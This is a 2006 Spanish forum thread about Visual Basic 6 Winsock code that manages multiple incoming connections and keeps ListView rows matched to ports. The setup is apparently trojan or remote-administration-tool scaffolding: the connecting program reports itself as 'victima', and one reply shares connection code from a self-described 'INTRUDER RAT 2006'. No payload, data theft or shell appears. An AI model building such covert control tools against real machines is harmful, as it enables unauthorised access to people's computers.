Duda cliente-servidor, multiples conexiones, administrador de conexiones

Iniciado por -Xenon-, 10 Enero 2006, 20:19 PM

0 Miembros y 1 Visitante están viendo este tema.

-Xenon-


no sabia como poner el titulo, espero que almenos sea orientativo para este problema que tengo,

el problema es que me he quedado atascado, estaba haciendo esto:

tenemos una aplicacion servidor, la cual quiere conectar por el puerto 69 a un cliente, para que el clente soporte varias conexiones por ese unico puerto, hay que hacer algun sistema, y entonces el programa con el que tengo dudas hace esto:

escucha y acepta conexiones por el puerto 69, una vez establecida una conexion, pone a escuchar otro puesto "6800", mandando al servidor conectar por ese nuevo puerto, una vez establecida esta segunda conexion, cierra el puerto 69 y lo deja otra vez ala escucha para otra conexion,

cuando otro servidor conecta por el puerto 69, repite el proceso anterior, pero sumando 1 al puerto 6800, asi cada vez que se repite el proceso se van conectando realmente asi con el programa:
servidor---------6800-programa
servidor---------6801-programa
servidor---------6802-programa
servidor---------6803-programa
servidor---------6804-programa
etc...                   

hasta aqui perfecto, ala vez que se van estableciendo estas conexiones por orden, tambien se muestra graficamente en un listview, de esta manera:

  N   |     nombre    |       ip          |       ping    |
------------------------------------------------------
  1   |    fulanito      |  127.0.0.1    |      235      |
------------------------------------------------------
  2   |     xenon       | 192.168.0.1 |      246      |
------------------------------------------------------
  3   |    pepito        | 192.168.0.2 |       127     |
------------------------------------------------------
  4   |    lol              | 192.168.1.5 |       169     |
-------------------------------------------------------

perimero, el primer elemento de la lista es un numero que quiere decir el orden segun fueron conectandose, es igual a el puerto 6800 + item de la columna, osea la conexion 3, de pepito, usaria el puerto 6803 , ok?  hasta aqui todo perfecto, ahora viene cuando la matan ( pongo tantos pelos y señales, para queme podais dar una ayuda mejor )

bueno, el tema a conseguir es este: quiero que ahora, al pinchar en el grafico con el numero, el nombre y eso, que cuando pinche en el numero de alguno, este se conecte a un cliente, todo bien, al pinchar por ejemplo en 3(pepito) manda al cliente escuchar por el puerto "6903"( 100 mas que 6803 ) y manda a su vez al servidor que se conecte a ese puerto,

una vez hecho esto, en el listview se sigue viendo como que esta conectado! entonces puese que despues de conectar con el cliente, borrara esa linea quedando asi:

  N   |     nombre    |       ip          |       ping    |
------------------------------------------------------
  1   |    fulanito      |  127.0.0.1    |      235      |
------------------------------------------------------
  2   |     xenon       | 192.168.0.1 |      246      |
------------------------------------------------------
  4   |    lol              | 192.168.1.5 |       169     |
-------------------------------------------------------

ahora queda mal! feo, el 4 deberia ser 3, pues puse que se pusieran ordenados 1,2,3, en vez de 1,2,4, con lo cual se jode el invento, ya que para saber que numero de puerto ay que usar, lo identifico con el ITEM, el numero que aparece en el listview, asi ahora el 4(lol) que ahora es 3(lol) usaria el 6904 y no el 6903, con lo cual no se arreglarlo

entonces pensareis, pues dejalo asi que tampoco queda tan mal!! pero TAMPOCO PUEDO, por que si ahora pincho en el 4(lol) tiene como INDEX "3" y para borrar esa linea se usa el INDEX de el listview ( se me entiende? )

los elementos cogen un index, que es igual a su posicion en el listview, si borro uno, lo que hago es coger como dato el numero que le pongo para identificarlo yo, por que es el mismo que el index, pero el programa solo sabe identificar cada linea por su index, asi cada linea tenia su index IGUAL a su numero de identificacion, escepto si borro una linea Y NO LA ORDENO!

fijaos ahora lo importante que me era ordenar el numero de identificacion despues de borrar uno!! para que tengan el mismo index y poder seguir borrando el que yo quiera cuando quiera!!

la putada esque no puedo tener las 2 cosas! poder borrar alguna linea y conectarme a alguna linea

ejemplo:

si borro la 3, se queda como vimos arriba, 1 , 2 , 4
ahora si quiero conectarme al 4, lo tengo facil por que uso su numero de identificacion para saber que ese esta pillado por el 6804 y debera conectar al 6904, pero ahora no puedo borrar el 4 si pincho en el, conectaria, pero no podria borrarlo, por que solo habria 3 elementos con index 1, 2 y 3, y si le digo que borre 4, la unica forma que tengo de saber que el 4 es el 4, es por su numero que le pongo de identificacion, con lo cual quedaria asi:


quita la linea (item) 'item es igual al valor de la linea, en este caso 4, y ahora como el parametro de entreparentesis queme pide es el index, le doy el 4, y me dice obviamente, que el index esta fuera del rango, pero yo no se como coño hacer para que sepa que el 4 tiene de index 3, o que al reordenar todo, el index esta bien, pero entonces como coño hago paque sepa que no conecte al 6903 si no al  6904


HE AQUI LA DUDA!!!



69   ------- (programa) 6801  ------cliente-----  6901
69   ------- (programa) 6802  ------cliente-----  6902
69   ------- (programa) 6803  ------cliente-----  6903
69   ------- (programa) 6804  ------cliente-----  6904



se entiende? ya se que es un lio tremendo y que me enrrollo muchisimo, pero para que se me pueda ayudar, tenia que esplicarlo todo bien, y ahora os pongo el codigo para que lo veais mejor!!


PROGRAMA QUE ADMINISTRA
Dim Index As Integer
Dim i As Integer, filedata2 As String, filesize As Long
Dim cuenta As Integer, conexiones As Integer, conx() As Integer

Private Sub Command1_Click()
Open "d:\txt.txt" For Binary As #1
filedata2 = Input(LOF(1), 1)
Close #1
filesize = Len(filedata2)
ws(1).SendData "oye" & filesize
error:
End Sub

Private Sub Form_Load()
ws(0).LocalPort = 69
ws(0).Close
ws(0).Listen
'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
    ListView1.View = lvwReport
    With ListView1.ColumnHeaders
        .Add , , "nº", 330, 0
        .Add , , "Pc", 1700, 2
        .Add , , "Ip", 1700, 2
        .Add , , "Ping", 740, 2
        .Add , , "Versión", 700, 2
        .Add , , "S.O", 770, 2
    End With
    Me.ListView1.GridLines = True
'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
End Sub



Private Sub ListView1_ItemClick(ByVal Item As MSComctlLib.ListItem)
On Error GoTo error
Dim lol As Integer
Shell (App.Path & "\cliente241.exe " & Item + 6900), vbNormal
Espera (2)
ws(Item).SendData "ñconñ" & Item + 6900
'lol = Item
'ListView1.ListItems.remove (lol)
'lol = 1
'iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
'bucle:
'If lol <> Me.ListView1.ListItems.Count Then
'Me.ListView1.ListItems.Item(lol) = lol
'lol = lol + 1
'Else
'Me.ListView1.ListItems.Item(lol) = lol
'GoTo sal
'End If
'GoTo bucle
'sal:
'fffffffffffffffffffffffffffffffffffffffff
error:
End Sub


Private Sub ws_ConnectionRequest(Index As Integer, ByVal requestID As Long)
ws(Index).Close
ws(Index).Accept requestID
Text2.Text = "Conectado" & Index
End Sub

Private Sub ws_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim datos As String, dato As Variant
ws(Index).GetData datos
Text1.Text = Text1.Text & datos & vbCrLf
If datos = "ok" Then
i = i + 1
Load ws(i)
datos = Index + 6800
ws(i).LocalPort = datos
ws(i).Close
ws(i).Listen
ws(0).SendData "cone" & datos
End If
If Left(datos, 2) = "ya" Then
ws(0).Close
ws(0).Listen
'ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
dato = Split(datos, "ñ")
    With Me.ListView1.ListItems.Add(, , i)
        .SubItems(1) = dato(1)
        .SubItems(2) = dato(2)
        .SubItems(3) = dato(3)
        .SubItems(4) = dato(4)
        .SubItems(5) = dato(5)
    End With
End If
End Sub





SERVIDOR
Dim archivo As String, por As String, cion As Long, copon As Long

Private Sub Form_Load()
ws.RemotePort = 69
ws.RemoteHost = "127.0.0.1"
End Sub

Private Sub Timer2_Timer()
If (ws2.State <> 7 And ws3.State <> 7) Then
ws.Close
ws.Connect
End If
End Sub

Private Sub ws_Connect()
ws.SendData "ok"
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 4) = "cone" Then
datos = Mid(datos, 5)
ws2.Close
ws2.RemotePort = datos
ws2.RemoteHost = "127.0.0.1"
ws2.Connect
GoTo error
End If
error:
End Sub
Private Sub ws_Close()
ws.Close
End Sub
Private Sub ws3_Close()
ws3.Close
End Sub
Private Sub ws2_Connect()
ws2.SendData "yañvictimañ217.127.184.212ñ234ñ2.4ñon"
End Sub

Private Sub ws2_DataArrival(ByVal bytesTotal As Long)
Dim dato As String
ws2.GetData dato
If Left(dato, 5) = "ñconñ" Then
ws3.RemotePort = Right(dato, Len(dato) - 5)
ws3.RemoteHost = "127.0.0.1"
ws3.Close
ws3.Connect
ws2.Close
End If
End Sub





CLIENTE

el cliente es solo un programa que escucha por el puerto que le digas y acepta la conexion




muchas gracias, si te as leido toda esta parrafada, solo para ver si podrias ayudarme, pues ese gesto ya te lo agradezco mucho, tienes mas paciencia que un santo!!, y si encima puedes ayudarme en este rompecabezas, aun te lo agradecere mas :)

Un Saludo!!!   

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño

EstoyBaneado

yo si te he entendido, y si te puedo ayudar. pero yo, al igual que tu, quizas no me exprese bien ;) asi que tengo tu solucion a ver si la entiendes.

Primero: lo de la conexion esa que haces, no sirve. bajate esto

Clase para emular el MSWINSOCK (CSocketPlus)(Solo para el cliente):
http://www.geocities.com/anshoku/

y trata de aprenderlo a usar. ejemplo:
http://foro.elhacker.net/index.php/topic,103130.msg479034.html#msg479034

la explicacion:

El CsocketPlus permite usar un array de sockets. esto te servira, porque tendras solo un puerto abierto (no necesitas abrir lo demas y todo eso que haces, que es muy creativo pero poco practico).

entonces, lo usarias de esa manera:


Private Sub cs_ConnectionRequest(ByVal Index As Variant, ByVal requestID As Long)
  cs.ArrayAdd cs.RemoteHostIP("ini")
  cs.Accept cs.RemoteHostIP("ini"), requestID
  IndexServ = cs.RemoteHostIP("ini")
End Sub

Como ves, cs.ArrayAdd agrega una conexion al array. luego, cuando quieras usarla debes especificar a que conexion te refieres. por ejemplo:
cs.Sendata "192.168.0.1", "holaaaaaaaaaaaaaa"

¿comprendez? ahora, agregando como key la IP no necesitas eso del index del lisview. solo debes usar la IP que tiene el listview.

entendes? si no entendiste vuelve a postear que te lo explico mejor. la variable string IndexServ la uso para no tener que llamar al lisview a cada rato.

Salu2.
Fui baneado por decir lo que pienso...
No importa, rezare por uds... y eso que soy ateo xD

-Xenon-

pues la verdad es que no lo entiendo... te comento el csocketplus, supongo emula varios mswinsck, pero eso no es el problema que tengo, el problema es borrar una linea del listview, y el otro como saber a que puerto conectar usando el listview, es mas duda sobre el manejo del listview y una programacion eficiente, o tener una mente brillante, ya que con los elementos basicos que suelo usar, "creo" que puedo hacer casi cualquier cosa, lo unico es saber la manera de combinarlos...

el segundo link que me as dejado, pones que se necesita un nivel medio-avanzado, pues te esplico, yo tengo nivel basico, no, muy basico  ;D, fijate que para un bucle no uso for next, ni do while, si no GOTO jeje, etiquetas y saltos condicionales, alo asm, poco profesional? seguramente, pero repito mi nivel es MUY BASICO, asi que no entiendo bien ese tutorial, ni se como me puede ayudar

pero gracias igualmente por intentarlo  :)

PD: espera, no ley la modificacion con la esplicacion que as puesto, ahora lo leo despues de cenar y haber que tal, GRACIAS
Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño

EstoyBaneado

es que mi hermanito me quito la pc, y no pude terminar de postear por eso lo deje por la mitad.
ok ok, explicare mejor esta vez.

este es mi form_load:

Private Sub Form_Load()
  Set cs = New CSocketPlus
  cs.ArrayAdd "ini"
  cs.Bind "ini", 81, "127.0.0.1"
  cs.Listen "ini"
End Sub


como vez, creo una conexion llamada "ini", abriendo el puerto 81 en mi propia PC (solo por motivos de prueba)

ahora bien, cuando alguien se conecte a esta IP, al puerto 81 se tirara el siguiente evento:
cs_ConnectionRequest


Private Sub cs_ConnectionRequest(ByVal Index As Variant, ByVal requestID As Long)
  cs.ArrayAdd cs.RemoteHostIP("ini")
  cs.Accept cs.RemoteHostIP("ini"), requestID
End Sub


fijate bien. agregue una nueva conexion (cs.ArrayAdd) llamada..... como se llama la nueva conexion? :
cs.RemoteHostIP("ini") <---- devuelve la IP remota.  osea, si nos conectamos desde nuestra misma ip sera "127.0.0.1" asi se llamara esa conexion y asi la identificaremos de las demas. Como vez, no pueden haber mas de 2 conexiones con el mismo nombre. ahora, esa nueva conexion la usaremos para aceptar al peticion de conexion que recibimos de "ini". si "ini" no conecto... seguira a la escucha. entonces, el puerto 81 seguira abierto, ya que "ini" solo hace de puente.

¿comprendez mendez?

ahora bien, en el siguiente post te explico lo del listview, que tengo que abrir el compilador.
Fui baneado por decir lo que pienso...
No importa, rezare por uds... y eso que soy ateo xD

EstoyBaneado

ahora, con el listview es facil porque la columna que tiene la IP al mismo tiempo tiene la identificacion de la conexion. es mas. te recomiendo esto:
en la parete que agregas el item:
   With Me.ListView1.ListItems.Add(, , i)
agregues como Key la IP remota.

osea que:

Private Sub cs_ConnectionRequest(ByVal Index As Variant, ByVal requestID As Long)
  cs.ArrayAdd cs.RemoteHostIP("ini")
  cs.Accept cs.RemoteHostIP("ini"), requestID
  With Me.ListView1.ListItems.Add(, cs.RemoteHostIP("ini"), i)
     etc etc etc
End Sub


y luego...


Private Sub ListView1_ItemClick(ByVal Item As MSComctlLib.ListItem)
On Error GoTo error
cs.SendData Item.Key, "probando 1 2 3"
etc etc etc


ya man. ahora que veo mejor tu code, es que me doy cuenta de que creas la conexion, osea un nuevo Ws en el dataarrival, osea cuando ya esta conectado. puedes hacer lo mismo pero en el cs_ConnectionRequest antes de conectar.

¿comprendes mendez? si no entiendes, pregunta de nuevo.
Fui baneado por decir lo que pienso...
No importa, rezare por uds... y eso que soy ateo xD

-Xenon-


1 - mil gracias por tu paciencia y ayuda!

2 - creo que lo entiendo, voy a ponerme a tabajar en ello haciendo las modificaciones que haga falta como dices, y comprobare que todo va bien,

3 - posteare el codigo bueno por si a alguien le sirve

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño

Kizar

Ya k me lo an pedido aki una pekeña donacion de mi codigo fuente de mi troyano.
Esto lo k ace es aceptar muchas conexiones por un mismo puerto y te permite mandar cosas a cada conectado por separado.


'PROGRAMADO POR KIZAR
'INTRUDER RAT 2006
'LIBRE DISTRIBUCION MENCIONADO AL AUTOR.

'Declaraciones
dim Selecion As Integer
dim Nue As Integer

'Code
Private Sub Form_Load()
   Nue = 0
   Winsock_menu(0).Close 'cerramos el puerto aunke al iniciar tiene k estar cerrado.
   Winsock_menu(0).LocalPort = "69" 'ponemos el puerto a escuchar
   Winsock_menu(0).Listen 'el winsock (0) siempre esta a la    escucha y acepta las conexiones con un socket nuevo.
End Sub

Private Sub Winsock_menu_ConnectionRequest(Index As Integer, ByVal requestID As Long)
    Nue = Nue + 1
    Load Winsock_menu(Nue) 'Creamos un nuevo winsock
    Winsock_menu(Nue).Accept requestID 'Aceptamos la conexión
    List_inver.ListItems.Add , , Winsock_menu(Nue).RemoteHostIP
End Sub

Private Sub List_inver_DblClick()
Selecion = List_inver.SelectedItem.Index 'esto nos pone en la variable selecion el socket k keremos usar para k solo se mande a uno.
Winsock_menu(Selecion).SendData "algo" 'se manda el mensaje solo a la conexion k se a selecionado.
End Sub


Enjoy it!!! ;)

Salu2

Ismy

El codigo de Kizar me ha servido.

Ahora me surgen dudas

1.Que haré cuando quiera dejar de tener el MSWINSCK.ocx , porque con el CSocketPlus no me sale

2. Cuando cierro el server el cliente sigue mostrando la conexión, como puedo hacer para que cuando se desconecte desaparezca del listview

-Xenon-

ListView1.ListItems.remove (lol) ' donde lol contiene el index de la linea a borrar

y lo pones en el evento close del socket que usaba esa conexion..




por cierto, vuestras respuestas son muy utiles y eficientes, pero tengo la duda de como se arreglaria mi problema usando solo mi codigo, sin usar csocketplus, y sin usar tu metodo kizar, usando mi codigo, pero que es lo que hay que hacer para resolverlo, eso es lo que me desquicia, no poder hallar la solucion al problema, mas que el hecho de que funcione!

es la pura curiosidad para aprender mas, es como si eso fuera un juego, y me he quedado atascado en esa fase, me gustaria saber como pasar de nivel, ya que yo por mas que lo intento pensar, no se resolverlo, es como un puñetero acertijo!  estoy hablando de mi codigo, usando mi sistema y etc...

alguna sugerencia? de todas formas os agradezco mucho lo ya aportado!  :)

yo estaba pensando como bien dijo nml, en asociar cada ip con el index, pero no se como, por ejemplo se resolveria si la ip pudiera ser una variable en la me almacenara el puerto de conexion, asi llamando ala ip del listview, estaria ya sabiendo el puerto.. pero eso no puede hacerse asi.. alguna idea?

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño